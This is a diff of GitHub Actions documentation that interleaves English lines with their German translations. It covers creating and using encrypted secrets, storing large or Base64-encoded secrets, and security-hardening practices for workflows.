## Erstellen verschlüsselter Geheimnisse für eine Umgebung
{% data reusables.actions.permissions-statement-secrets-environment %}
{% webui %}
{% data reusables.repositories.navigate-to-repo %}
{% data reusables.repositories.sidebar-settings %}
{% data reusables.actions.sidebar-environment %}
1. Click on the environment that you want to add a secret to.
2. Under **Environment secrets**, click **Add secret**.
3. Type a name for your secret in the **Name** input box.
4. Enter the value for your secret.
5. Click **Add secret**.
{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.actions.sidebar-environment %}
1. Klicke auf die Umgebung, der du ein Geheimnis hinzufügen möchtest.
2. Klicke unter **Umgebungsgeheimnisse** auf **Geheimnis hinzufügen**.
3. Gib einen Namen für dein Geheimnis in das Eingabefeld **Name** ein.
4. Gib den Wert für das Geheimnis ein.
5. Klicke auf **Geheimnis hinzufügen**.
{% endwebui %}
{% cli %}
To add a secret for an environment, use the `gh secret set` subcommand with the `--env` or `-e` flag followed by the environment name.
Wenn du ein Geheimnis für eine Umgebung hinzufügen möchtest, verwende den Unterbefehl `gh secret set` mit dem Flag `--env` oder `-e` und dem Namen der Umgebung.
```shell
gh secret set --env ENV_NAME SECRET_NAME
```
To list all secrets for an environment, use the `gh secret list` subcommand with the `--env` or `-e` flag followed by the environment name.
Wenn du alle Geheimnisse für eine Umgebung auflisten möchtest, verwende den Unterbefehl `gh secret list` mit dem Flag `--env` oder `-e` und dem Namen der Umgebung.
```shell
gh secret list --env ENV_NAME
@ -141,22 +140,20 @@ gh secret list --env ENV_NAME
{% endcli %}
## Creating encrypted secrets for an organization
## Erstellen verschlüsselter Geheimnisse für eine Organisation
When creating a secret in an organization, you can use a policy to limit which repositories can access that secret. For example, you can grant access to all repositories, or limit access to only private repositories or a specified list of repositories.
Beim Erstellen eines Geheimnisses in einer Organisation kannst du mit einer Richtlinie einschränken, welche Repositorys darauf zugreifen können. Du kannst beispielsweise allen Repositorys Zugriff gewähren oder nur private Repositorys oder eine angegebene Liste von Repositorys zulassen.
{% data reusables.actions.permissions-statement-secrets-organization %}
{% webui %}
{% data reusables.organizations.navigate-to-org %}
{% data reusables.organizations.org_settings %}
{% data reusables.actions.sidebar-secret %}
1. Click **New organization secret**.
1. Type a name for your secret in the **Name** input box.
1. Enter the **Value** for your secret.
1. From the **Repository access** dropdown list, choose an access policy.
1. Click **Add secret**.
{% data reusables.organizations.navigate-to-org %} {% data reusables.organizations.org_settings %} {% data reusables.actions.sidebar-secret %}
1. Klicke auf **Neues Organisationsgeheimnis**.
1. Gib einen Namen für dein Geheimnis in das Eingabefeld **Name** ein.
1. Gib den **Wert** für das Geheimnis ein.
1. Wähle in der Dropdownliste **Repositoryzugriff** eine Zugriffsrichtlinie aus.
1. Klicke auf **Geheimnis hinzufügen**.
{% endwebui %}
@ -164,7 +161,7 @@ When creating a secret in an organization, you can use a policy to limit which r
{% note %}
**Note:** By default, {% data variables.product.prodname_cli %} authenticates with the `repo` and `read:org` scopes. To manage organization secrets, you must additionally authorize the `admin:org` scope.
**Hinweis**: Standardmäßig erfolgt die {% data variables.product.prodname_cli %}-Authentifizierung mit den Bereichen `repo` und `read:org`. Zur Verwaltung von Organisationsgeheimnissen musst du zusätzlich den Bereich `admin:org` autorisieren.
```
gh auth login --scopes "admin:org"
@ -172,25 +169,25 @@ gh auth login --scopes "admin:org"
{% endnote %}
To add a secret for an organization, use the `gh secret set` subcommand with the `--org` or `-o` flag followed by the organization name.
Wenn du ein Geheimnis für eine Organisation hinzufügen möchtest, verwende den Unterbefehl `gh secret set` mit dem Flag `--org` oder `-o` und dem Namen der Organisation.
```shell
gh secret set --org ORG_NAME SECRET_NAME
```
By default, the secret is only available to private repositories. To specify that the secret should be available to all repositories within the organization, use the `--visibility` or `-v` flag.
Standardmäßig ist das Geheimnis nur für private Repositorys verfügbar. Wenn du angeben möchtest, dass das Geheimnis für alle Repositorys innerhalb der Organisation verfügbar sein soll, verwende das Flag `--visibility` oder `-v`.
```shell
gh secret set --org ORG_NAME SECRET_NAME --visibility all
```
To specify that the secret should be available to selected repositories within the organization, use the `--repos` or `-r` flag.
Wenn du angeben möchtest, dass das Geheimnis für ausgewählte Repositorys innerhalb der Organisation verfügbar sein soll, verwende das Flag `--repos` oder `-r`.
```shell
gh secret set --org ORG_NAME SECRET_NAME --repos REPO-NAME-1, REPO-NAME-2"
```
To list all secrets for an organization, use the `gh secret list` subcommand with the `--org` or `-o` flag followed by the organization name.
Wenn du alle Geheimnisse für eine Organisation auflisten möchtest, verwende den Unterbefehl `gh secret list` mit dem Flag `--org` oder `-o` und dem Namen der Organisation.
```shell
gh secret list --org ORG_NAME
@ -198,34 +195,31 @@ gh secret list --org ORG_NAME
{% endcli %}
## Reviewing access to organization-level secrets
## Überprüfen des Zugriffs auf Organisationsgeheimnisse
You can check which access policies are being applied to a secret in your organization.
Du kannst überprüfen, welche Zugriffsrichtlinien auf ein Geheimnis in deiner Organisation angewendet werden.
{% data reusables.organizations.navigate-to-org %}
{% data reusables.organizations.org_settings %}
{% data reusables.actions.sidebar-secret %}
1. The list of secrets includes any configured permissions and policies. For example:
![Secrets list](/assets/images/help/settings/actions-org-secrets-list.png)
1. For more details on the configured permissions for each secret, click **Update**.
{% data reusables.organizations.navigate-to-org %} {% data reusables.organizations.org_settings %} {% data reusables.actions.sidebar-secret %}
1. Die Liste der Geheimnisse enthält alle konfigurierten Berechtigungen und Richtlinien. Beispiel: ![Liste der Geheimnisse](/assets/images/help/settings/actions-org-secrets-list.png)
1. Klicke auf **Aktualisieren**, um weitere Details zu den konfigurierten Berechtigungen des jeweiligen Geheimnisses anzuzeigen.
## Using encrypted secrets in a workflow
## Verwenden verschlüsselter Geheimnisse in einem Workflow
{% note %}
**Notes:**
**Hinweise:**
* {% data reusables.actions.forked-secrets %}
{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
* Secrets are not automatically passed to reusable workflows. For more information, see "[Reusing workflows](/actions/using-workflows/reusing-workflows#passing-inputs-and-secrets-to-a-reusable-workflow)."
* Geheimnisse werden nicht automatisch an wiederverwendbare Workflows übergeben. Weitere Informationen findest du unter [Wiederverwenden von Workflows](/actions/using-workflows/reusing-workflows#passing-inputs-and-secrets-to-a-reusable-workflow).
{% endif %}
{% endnote %}
To provide an action with a secret as an input or environment variable, you can use the `secrets` context to access secrets you've created in your repository. For more information, see "[Contexts](/actions/learn-github-actions/contexts)" and "[Workflow syntax for {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)."
Wenn du für eine Aktion ein Geheimnis als Eingabe- oder Umgebungsvariable bereitstellen möchtest, kannst du mithilfe des `secrets`-Kontexts auf Geheimnisse zugreifen, die du in deinem Repository erstellt hast. Weitere Informationen findest du unter [Kontexte](/actions/learn-github-actions/contexts) und [Workflowsyntax für {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions).
{% raw %}
```yaml
@ -238,15 +232,15 @@ steps:
```
{% endraw %}
Secrets cannot be directly referenced in `if:` conditionals. Instead, consider setting secrets as job-level environment variables, then referencing the environment variables to conditionally run steps in the job. For more information, see "[Context availability](/actions/learn-github-actions/contexts#context-availability)" and [`jobs.<job_id>.steps[*].if`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsif).
In `if:`-Bedingungen kann nicht direkt auf Geheimnisse verwiesen werden. Erwäge stattdessen, Geheimnisse als Umgebungsvariablen auf Auftragsebene festzulegen, und verweise dann auf die Umgebungsvariablen, um Schritte im Auftrag bedingt auszuführen. Weitere Informationen findest du unter [Kontextverfügbarkeit](/actions/learn-github-actions/contexts#context-availability) und [`jobs.<job_id>.steps[*].if`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsif).
If a secret has not been set, the return value of an expression referencing the secret (such as {% raw %}`${{ secrets.SuperSecret }}`{% endraw %} in the example) will be an empty string.
Wurde kein Geheimnis festgelegt, gibt ein Ausdruck, der auf das Geheimnis verweist (z. B. {% raw %}`${{ secrets.SuperSecret }}`{% endraw %} im Beispiel), eine leere Zeichenfolge zurück.
Avoid passing secrets between processes from the command line, whenever possible. Command-line processes may be visible to other users (using the `ps` command) or captured by [security audit events](https://docs.microsoft.com/windows-server/identity/ad-ds/manage/component-updates/command-line-process-auditing). To help protect secrets, consider using environment variables, `STDIN`, or other mechanisms supported by the target process.
Wann immer dies möglich ist, vermeide die Übergabe von Geheimnissen zwischen Prozessen von der Befehlszeile aus. Befehlszeilenprozesse sind möglicherweise für andere Benutzer*innen sichtbar (mit dem Befehl `ps`) oder können durch [Sicherheitsüberwachungsereignisse](https://docs.microsoft.com/windows-server/identity/ad-ds/manage/component-updates/command-line-process-auditing) erfasst werden. Verwende zum Schutz von Geheimnissen Umgebungsvariablen, `STDIN` oder andere Methoden, die vom Zielprozess unterstützt werden.
If you must pass secrets within a command line, then enclose them within the proper quoting rules. Secrets often contain special characters that may unintentionally affect your shell. To escape these special characters, use quoting with your environment variables. For example:
Wenn du Geheimnisse innerhalb einer Kommandozeile übergeben musst, umschließe sie im Rahmen der gültigen Quotierungsregeln. Geheimnisse enthalten oft Sonderzeichen, die in deiner Shell unbeabsichtigte Wirkungen entfalten können. Um diese Sonderzeichen zu vermeiden, verwende deine Umgebungsvariablen mit Anführungszeichen. Beispiel:
### Example using Bash
### Beispiel mit Bash
{% raw %}
```yaml
@ -259,7 +253,7 @@ steps:
```
{% endraw %}
### Example using PowerShell
### Beispiel mit PowerShell
{% raw %}
```yaml
@ -272,7 +266,7 @@ steps:
```
{% endraw %}
### Example using Cmd.exe
### Beispiel mit Cmd.exe
{% raw %}
```yaml
@ -285,43 +279,43 @@ steps:
```
{% endraw %}
## Limits for secrets
## Einschränkungen für Geheimnisse
You can store up to 1,000 organization secrets, 100 repository secrets, and 100 environment secrets.
Du kannst bis zu 1.000 Organisationsgeheimnisse, 100 Repositorygeheimnisse und 100 Umgebungsgeheimnisse speichern.
A workflow created in a repository can access the following number of secrets:
Ein Workflow, der in einem Repository erstellt wurde, kann auf die folgende Anzahl von Geheimnissen zugreifen:
* All 100 repository secrets.
* If the repository is assigned access to more than 100 organization secrets, the workflow can only use the first 100 organization secrets (sorted alphabetically by secret name).
* All 100 environment secrets.
* Alle 100 Repositorygeheimnisse.
* Wurde dem Repository der Zugriff auf mehr als 100 Geheimnisse auf Organisationsebene zugewiesen, kann der Workflow nur die ersten 100 Organisationsgeheimnisse (alphabetisch nach dem Namen des Geheimnisses sortiert) verwenden.
* Alle 100 Umgebungsgeheimnisse.
Secrets are limited to 64 KB in size. To store larger secrets, see the "[Storing large secrets](#storing-large-secrets)" workaround below.
Geheimnisse sind auf 64 KB beschränkt. Weitere Informationen zum Speichern größerer Geheimnisse findest du unter der Problemumgehung [Speichern großer Geheimnisse](#storing-large-secrets) unten.
### Storing large secrets
### Speichern großer Geheimnisse
To use secrets that are larger than 64 KB, you can use a workaround to store encrypted secrets in your repository and save the decryption passphrase as a secret on {% data variables.product.prodname_dotcom %}. For example, you can use `gpg` to encrypt a file containing your secret locally before checking the encrypted file in to your repository on {% data variables.product.prodname_dotcom %}. For more information, see the "[gpg manpage](https://www.gnupg.org/gph/de/manual/r1023.html)."
Um Geheimnisse zu verwenden, die größer als 64 KB sind, kannst du mit einer Problemumgehung verschlüsselte Geheimnisse in deinem Repository speichern und die Passphrase zur Entschlüsselung als Geheimnis auf {% data variables.product.prodname_dotcom %} speichern. Mit `gpg` kannst du z. B. eine Datei mit deinem Geheimnis lokal verschlüsseln, bevor du die verschlüsselte Datei in deinem Repository auf {% data variables.product.prodname_dotcom %} eincheckst. Weitere Informationen findest du unter [gpg manpage](https://www.gnupg.org/gph/de/manual/r1023.html).
{% warning %}
**Warning**: Be careful that your secrets do not get printed when your workflow runs. When using this workaround, {% data variables.product.prodname_dotcom %} does not redact secrets that are printed in logs.
**Warnung**: Vergewissere dich, dass deine Geheimnisse beim Ausführen des Workflows nicht gedruckt werden. Wenn du diesen Workaround verwendest, redigiert {% data variables.product.prodname_dotcom %} keine Geheimnisse, die in Protokollen gedruckt werden.
{% endwarning %}
1. Run the following command from your terminal to encrypt the file containing your secret using `gpg` and the AES256 cipher algorithm. In this example, `my_secret.json` is the file containing the secret.
1. Führe in deinem Terminal den folgenden Befehl aus, um die Datei mit deinem Geheimnis mithilfe von `gpg` und dem AES256-Verschlüsselungsalgorithmus zu verschlüsseln. In diesem Beispiel ist `my_secret.json` die Datei, die das Geheimnis enthält.
```bash
gpg --symmetric --cipher-algo AES256 my_secret.json
```
1. You will be prompted to enter a passphrase. Remember the passphrase, because you'll need to create a new secret on {% data variables.product.prodname_dotcom %} that uses the passphrase as the value.
1. Du wirst aufgefordert, eine Passphrase einzugeben. Merke dir die Passphrase, denn du musst ein neues Geheimnis auf {% data variables.product.prodname_dotcom %} mit der Passphrase als Wert erstellen.
1. Create a new secret that contains the passphrase. For example, create a new secret with the name `LARGE_SECRET_PASSPHRASE` and set the value of the secret to the passphrase you used in the step above.
1. Erstelle ein neues Geheimnis, das die Passphrase enthält. Erstelle z. B. ein neues Geheimnis mit dem Namen `LARGE_SECRET_PASSPHRASE`, und lege den Wert des Geheimnisses auf die Passphrase fest, die du im vorherigen Schritt verwendet hast.
1. Copy your encrypted file to a path in your repository and commit it. In this example, the encrypted file is `my_secret.json.gpg`.
1. Kopiere deine verschlüsselte Datei in einen Pfad in deinem Repository, und committe sie. In diesem Beispiel lautet die verschlüsselte Datei `my_secret.json.gpg`.
{% warning %}
**Warning**: Make sure to copy the encrypted `my_secret.json.gpg` file ending with the `.gpg` file extension, and **not** the unencrypted `my_secret.json` file.
**Warnung**: Kopiere die verschlüsselte `my_secret.json.gpg`-Datei, die mit der Dateierweiterung `.gpg` endet, und **nicht** die unverschlüsselte `my_secret.json`-Datei.
{% endwarning %}
@ -330,7 +324,7 @@ To use secrets that are larger than 64 KB, you can use a workaround to store enc
git commit -m "Add new encrypted secret JSON file"
```
1. Create a shell script in your repository to decrypt the secret file. In this example, the script is named `decrypt_secret.sh`.
1. Erstelle ein Shellskript in deinem Repository, um die Geheimnisdatei zu entschlüsseln. In diesem Beispiel heißt das Skript `decrypt_secret.sh`.
```bash
#!/bin/sh
@ -343,7 +337,7 @@ To use secrets that are larger than 64 KB, you can use a workaround to store enc
--output $HOME/secrets/my_secret.json my_secret.json.gpg
```
1. Ensure your shell script is executable before checking it in to your repository.
1. Stelle sicher, dass dein Shell-Skript ausführbar ist, bevor du es in deinem Repository eincheckst.
```bash
chmod +x decrypt_secret.sh
@ -352,7 +346,7 @@ To use secrets that are larger than 64 KB, you can use a workaround to store enc
git push
```
1. In your {% data variables.product.prodname_actions %} workflow, use a `step` to call the shell script and decrypt the secret. To have a copy of your repository in the environment that your workflow runs in, you'll need to use the [`actions/checkout`](https://github.com/actions/checkout) action. Reference your shell script using the `run` command relative to the root of your repository.
1. Verwende in deinem {% data variables.product.prodname_actions %}-Workflow einen `step`, um das Shellskript aufzurufen und das Geheimnis zu entschlüsseln. Verwende für eine Kopie deines Repositorys in der Umgebung, in der dein Workflow ausgeführt wird, die Aktion [`actions/checkout`](https://github.com/actions/checkout). Verweise relativ zum Stamm des Repositorys mithilfe des Befehls `run` auf dein Shellskript.
```yaml
name: Workflows with large secrets
@ -376,30 +370,30 @@ To use secrets that are larger than 64 KB, you can use a workaround to store enc
run: cat $HOME/secrets/my_secret.json
```
## Storing Base64 binary blobs as secrets
## Speichern binärer Base64-Blobs als Geheimnisse
You can use Base64 encoding to store small binary blobs as secrets. You can then reference the secret in your workflow and decode it for use on the runner. For the size limits, see ["Limits for secrets"](/actions/security-guides/encrypted-secrets#limits-for-secrets).
Mithilfe der Base64-Codierung kannst du kleine binäre Blobs als Geheimnisse speichern. Anschließend kannst du in deinem Workflow auf das Geheimnis verweisen und es zur Verwendung im Runner decodieren. Informationen zu den Größenbeschränkungen findest du unter [Grenzwerte für Geheimnisse](/actions/security-guides/encrypted-secrets#limits-for-secrets).
{% note %}
**Note**: Note that Base64 only converts binary to text, and is not a substitute for actual encryption.
**Hinweis**: Base64 ermöglicht nur eine Konvertierung von Binärdaten in Text und ersetzt nicht die eigentliche Verschlüsselung.
{% endnote %}
1. Use `base64` to encode your file into a Base64 string. For example:
1. Verwende `base64`, um die Datei in eine Base64-Zeichenfolge zu codieren. Beispiel:
```
$ base64 -i cert.der -o cert.base64
```
1. Create a secret that contains the Base64 string. For example:
1. Erstelle ein Geheimnis, das die Base64-Zeichenfolge enthält. Beispiel:
```
$ gh secret set CERTIFICATE_BASE64 < cert.base64
✓ Set secret CERTIFICATE_BASE64 for octocat/octorepo
```
1. To access the Base64 string from your runner, pipe the secret to `base64 --decode`. For example:
1. Leite das Geheimnis per Pipeline an `base64 --decode` weiter, um vom Runner auf die Base64-Zeichenfolge zuzugreifen. Beispiel:
```yaml
name: Retrieve Base64 secret

Просмотреть файл

@ -1,7 +1,7 @@
---
title: Security hardening for GitHub Actions
title: Sicherheitshärtung für GitHub Actions
shortTitle: Security hardening
intro: 'Good security practices for using {% data variables.product.prodname_actions %} features.'
intro: 'Best Practices zur Sicherheit bei der Verwendung von {% data variables.product.prodname_actions %}-Features'
redirect_from:
- /actions/getting-started-with-github-actions/security-hardening-for-github-actions
- /actions/learn-github-actions/security-hardening-for-github-actions
@ -14,67 +14,71 @@ type: overview
topics:
- Security
miniTocMaxHeadingLevel: 3
ms.openlocfilehash: 0f93496361500083c23ef6f5095a785855246503
ms.sourcegitcommit: b617c4a7a1e4bf2de3987a86e0eb217d7031490f
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 11/11/2022
ms.locfileid: '148161215'
---
{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
{% data reusables.actions.enterprise-beta %}
{% data reusables.actions.enterprise-github-hosted-runners %}
## Übersicht
## Overview
In diesem Leitfaden wird erläutert, wie du die Sicherheitshärtung für bestimmte {% data variables.product.prodname_actions %}-Features konfigurierst. Wenn du noch nicht mit den Konzepten von {% data variables.product.prodname_actions %} vertraut bist, findest du unter [Core concepts for GitHub Actions](/actions/getting-started-with-github-actions/core-concepts-for-github-actions) („Wichtigste Konzepte für GitHub Actions“) weitere Informationen.
This guide explains how to configure security hardening for certain {% data variables.product.prodname_actions %} features. If the {% data variables.product.prodname_actions %} concepts are unfamiliar, see "[Core concepts for GitHub Actions](/actions/getting-started-with-github-actions/core-concepts-for-github-actions)."
## Verwenden von Geheimnissen
## Using secrets
Vertrauliche Werte sollten niemals als Klartext in Workflowdateien, sondern als Geheimnisse gespeichert werden. [Geheimnisse](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets) können auf Organisations-, Repository- oder Umgebungsebene konfiguriert werden und ermöglichen das Speichern vertraulicher Informationen in {% data variables.product.product_name %}.
Sensitive values should never be stored as plaintext in workflow files, but rather as secrets. [Secrets](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets) can be configured at the organization, repository, or environment level, and allow you to store sensitive information in {% data variables.product.product_name %}.
Damit die Geheimnisse verschlüsselt werden, bevor sie {% data variables.product.product_name %} erreichen, werden [versiegelte libsodium-Felder](https://libsodium.gitbook.io/doc/public-key_cryptography/sealed_boxes) verwendet. Dieser Schritt erfolgt, wenn das Geheimnis über die [Benutzeroberfläche](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets#creating-encrypted-secrets-for-a-repository) oder über die [REST-API](/rest/reference/actions#secrets) übermittelt wird. Durch diese clientseitige Verschlüsselung lassen sich die Risiken im Zusammenhang mit der versehentlichen Protokollierung (z. B. Ausnahmeprotokolle und Anforderungsprotokolle) innerhalb der {% data variables.product.product_name %}-Infrastruktur minimieren. Sobald das Geheimnis hochgeladen wurde, ist {% data variables.product.product_name %} in der Lage, das Geheimnis zu entschlüsseln, damit es in die Workflowlaufzeit eingefügt werden kann.
Secrets use [Libsodium sealed boxes](https://libsodium.gitbook.io/doc/public-key_cryptography/sealed_boxes), so that they are encrypted before reaching {% data variables.product.product_name %}. This occurs when the secret is submitted [using the UI](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets#creating-encrypted-secrets-for-a-repository) or through the [REST API](/rest/reference/actions#secrets). This client-side encryption helps minimize the risks related to accidental logging (for example, exception logs and request logs, among others) within {% data variables.product.product_name %}'s infrastructure. Once the secret is uploaded, {% data variables.product.product_name %} is then able to decrypt it so that it can be injected into the workflow runtime.
Zum Verhindern einer versehentlichen Offenlegung verwendet {% data variables.product.product_name %} einen Mechanismus, der versucht, Geheimnisse zu bearbeiten, die in Ausführungsprotokollen erscheinen. Bei diesem Bearbeitungsschritt wird nach exakten Übereinstimmungen für konfigurierte Geheimnisse sowie nach gemeinsamen Codierungen der Werte (z. B. Base64) gesucht. Da es jedoch mehrere Möglichkeiten gibt, einen geheimen Wert zu transformieren, kann diese Bearbeitung nicht garantiert werden. Aus diesem Grund solltest du mithilfe bestimmter proaktiver Schritte und bewährter Methoden sicherstellen, dass Geheimnisse bearbeitetet werden und weitere Risiken im Zusammenhang mit Geheimnissen gemindert werden:
To help prevent accidental disclosure, {% data variables.product.product_name %} uses a mechanism that attempts to redact any secrets that appear in run logs. This redaction looks for exact matches of any configured secrets, as well as common encodings of the values, such as Base64. However, because there are multiple ways a secret value can be transformed, this redaction is not guaranteed. As a result, there are certain proactive steps and good practices you should follow to help ensure secrets are redacted, and to limit other risks associated with secrets:
- **Never use structured data as a secret**
- Structured data can cause secret redaction within logs to fail, because redaction largely relies on finding an exact match for the specific secret value. For example, do not use a blob of JSON, XML, or YAML (or similar) to encapsulate a secret value, as this significantly reduces the probability the secrets will be properly redacted. Instead, create individual secrets for each sensitive value.
- **Register all secrets used within workflows**
- If a secret is used to generate another sensitive value within a workflow, that generated value should be formally [registered as a secret](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret), so that it will be redacted if it ever appears in the logs. For example, if using a private key to generate a signed JWT to access a web API, be sure to register that JWT as a secret or else it wont be redacted if it ever enters the log output.
- Registering secrets applies to any sort of transformation/encoding as well. If your secret is transformed in some way (such as Base64 or URL-encoded), be sure to register the new value as a secret too.
- **Audit how secrets are handled**
- Audit how secrets are used, to help ensure theyre being handled as expected. You can do this by reviewing the source code of the repository executing the workflow, and checking any actions used in the workflow. For example, check that theyre not sent to unintended hosts, or explicitly being printed to log output.
- View the run logs for your workflow after testing valid/invalid inputs, and check that secrets are properly redacted, or not shown. It's not always obvious how a command or tool youre invoking will send errors to `STDOUT` and `STDERR`, and secrets might subsequently end up in error logs. As a result, it is good practice to manually review the workflow logs after testing valid and invalid inputs.
- **Use credentials that are minimally scoped**
- Make sure the credentials being used within workflows have the least privileges required, and be mindful that any user with write access to your repository has read access to all secrets configured in your repository.
- Actions can use the `GITHUB_TOKEN` by accessing it from the `github.token` context. For more information, see "[Contexts](/actions/learn-github-actions/contexts#github-context)." You should therefore make sure that the `GITHUB_TOKEN` is granted the minimum required permissions. It's good security practice to set the default permission for the `GITHUB_TOKEN` to read access only for repository contents. The permissions can then be increased, as required, for individual jobs within the workflow file. For more information, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)."
- **Audit and rotate registered secrets**
- Periodically review the registered secrets to confirm they are still required. Remove those that are no longer needed.
- Rotate secrets periodically to reduce the window of time during which a compromised secret is valid.
- **Consider requiring review for access to secrets**
- You can use required reviewers to protect environment secrets. A workflow job cannot access environment secrets until approval is granted by a reviewer. For more information about storing secrets in environments or requiring reviews for environments, see "[Encrypted secrets](/actions/reference/encrypted-secrets)" and "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)."
- **Verwende niemals strukturierte Daten als Geheimnis**
- Bei strukturierten Daten können bei der Bearbeitung des Geheimnisses innerhalb von Protokollen Fehler auftreten. Der Grund dafür ist, dass die Bearbeitung weitgehend davon abhängig ist, dass eine exakte Übereinstimmung für den spezifischen geheimen Wert gefunden wird. Verwende z. B. kein JSON-, XML-, YAML- oder ein ähnliches Blob, um einen geheimen Wert zu kapseln, da die Wahrscheinlichkeit, dass die Geheimnisse ordnungsgemäß bearbeitet werden, dadurch erheblich sinkt. Erstelle stattdessen einzelne Geheimnisse für jeden vertraulichen Wert.
- **Registriere alle Geheimnisse, die in Workflows verwendet werden**
- Wenn ein Geheimnis verwendet wird, um einen anderen vertraulichen Wert in einem Workflow zu generieren, sollte dieser generierte Wert formal [als geheim registriert](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) werden, damit er in Protokollen gegebenenfalls bearbeitet wird. Wenn du z. B. einen privaten Schlüssel zum Generieren eines signierten JWT für den Zugriff auf eine Web-API verwendest, musst du das JWT als Geheimnis registrieren. Anderenfalls wird das Token nicht bearbeitet, wenn es in einer Protokollausgabe erscheint.
- Die Registrierung von Geheimnissen gilt auch für jegliche Art von Transformation/Codierung. Wenn dein Geheimnis transformiert wird (z. B. bei der Base64- oder URL-Codierung), musst du auch den neuen Wert als geheim registrieren.
- **Überprüfe, wie Geheimnisse verarbeitet werden**
- Du solltest überprüfen, ob Geheimnisse wie erwartet verwendet werden. Überprüfe dazu im Quellcode des Repositorys, das den Workflow ausführt, alle Aktionen, die im Workflow verwendet werden. Stelle z. B. sicher, dass vertrauliche Informationen nicht an unbeabsichtigte Hosts gesendet werden oder explizit in der Protokollausgabe ausgegeben werden.
- Sieh dir die Ausführungsprotokolle für deinen Workflow an, nachdem du gültige/ungültige Eingaben getestet hast, und überprüfe, ob Geheimnisse ordnungsgemäß bearbeitet bzw. nicht angezeigt werden. Es ist nicht immer offensichtlich, wie ein aufgerufener Befehl oder ein aufgerufenes Tool Fehler an `STDOUT` und `STDERR` sendet. So ist es möglich, dass Geheimnisse in Fehlerprotokollen erscheinen. Daher empfiehlt es sich, die Workflowprotokolle nach dem Testen gültiger und ungültiger Eingaben manuell zu überprüfen.
- **Verwende Anmeldeinformationen mit minimalen Berechtigungen**
- Stelle sicher, dass die in Workflows verwendeten Anmeldeinformationen über den geringsten erforderlichen Umfang an Berechtigungen verfügen, und beachte, dass Benutzer*innen mit Schreibzugriff auf dein Repository auch über Lesezugriff auf alle Geheimnisse verfügen, die in deinem Repository konfiguriert sind.
- Aktionen können `GITHUB_TOKEN` verwenden, indem sie über den `github.token`-Kontext darauf zugreifen. Weitere Informationen findest du unter [Contexts](/actions/learn-github-actions/contexts#github-context) („Kontexte“). Aus diesem Grund solltest du sicherstellen, dass `GITHUB_TOKEN` die geringsten erforderlichen Berechtigungen erteilt werden. Es empfiehlt sich, als Standardberechtigung für `GITHUB_TOKEN` lediglich Lesezugriff auf Repositoryinhalte festzulegen. Die Berechtigungen können dann nach Bedarf für einzelne Aufträge in der Workflowdatei erhöht werden. Weitere Informationen findest du unter [Authentifizierung in einem Workflow](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token).
- **Überprüfe und rotiere registrierte Geheimnisse**
- Überprüfe die registrierten Geheimnisse regelmäßig, um sicherzustellen, dass sie noch erforderlich sind. Entferne Geheimnisse, die nicht mehr benötigt werden.
- Rotiere Geheimnisse regelmäßig, um das Zeitfenster zu verringern, in dem ein kompromittiertes Geheimnis gültig ist.
- **Lege gegebenenfalls fest, dass beim Zugriff auf Geheimnisse eine Überprüfung erforderlich ist**
- Du kannst festlegen, dass eine Genehmigung durch einen Prüfer erforderlich ist, um Umgebungsgeheimnisse zu schützen. So kann ein Workflowauftrag erst dann auf Umgebungsgeheimnisse zugreifen, nachdem ein Prüfer die entsprechende Genehmigung erteilt hat. Weitere Informationen zum Speichern von Geheimnissen in Umgebungen oder zum Festlegen von erforderlichen Überprüfungen für Umgebungen findest du unter [Encrypted secrets](/actions/reference/encrypted-secrets) („Verschlüsselte Geheimnisse“) und [Using environments for deployment](/actions/deployment/using-environments-for-deployment) („Verwenden von Umgebungen für die Bereitstellung“).
{% warning %}
**Warning**: Any user with write access to your repository has read access to all secrets configured in your repository. Therefore, you should ensure that the credentials being used within workflows have the least privileges required.
**Warnung**: Alle Benutzer*innen mit Schreibzugriff auf dein Repository verfügen über Lesezugriff auf alle Geheimnisse, die in deinem Repository konfiguriert sind. Aus diesem Grund solltest du sicherstellen, dass die in Workflows verwendeten Anmeldeinformationen über die geringsten erforderlichen Berechtigungen verfügen.
{% endwarning %}
## Using `CODEOWNERS` to monitor changes
## Verwenden von `CODEOWNERS` zum Überwachen von Änderungen
You can use the `CODEOWNERS` feature to control how changes are made to your workflow files. For example, if all your workflow files are stored in `.github/workflows`, you can add this directory to the code owners list, so that any proposed changes to these files will first require approval from a designated reviewer.
Mithilfe des Features `CODEOWNERS` kannst du steuern, wie Änderungen an deinen Workflowdateien vorgenommen werden. Wenn alle deine Workflowdateien z. B. in `.github/workflows` gespeichert sind, kannst du dieses Verzeichnis der Codebesitzerliste hinzufügen, damit alle vorgeschlagenen Änderungen an diesen Dateien zuerst von einem benannten Prüfer genehmigt werden müssen.
For more information, see "[About code owners](/github/creating-cloning-and-archiving-repositories/about-code-owners)."
Weitere Informationen findest du unter [About code owners](/github/creating-cloning-and-archiving-repositories/about-code-owners) („Informationen zu Codebesitzern“).
## Understanding the risk of script injections
## Informationen zum Risiko der Skripteinschleusung
When creating workflows, [custom actions](/actions/creating-actions/about-actions), and [composite actions](/actions/creating-actions/creating-a-composite-action) actions, you should always consider whether your code might execute untrusted input from attackers. This can occur when an attacker adds malicious commands and scripts to a context. When your workflow runs, those strings might be interpreted as code which is then executed on the runner.
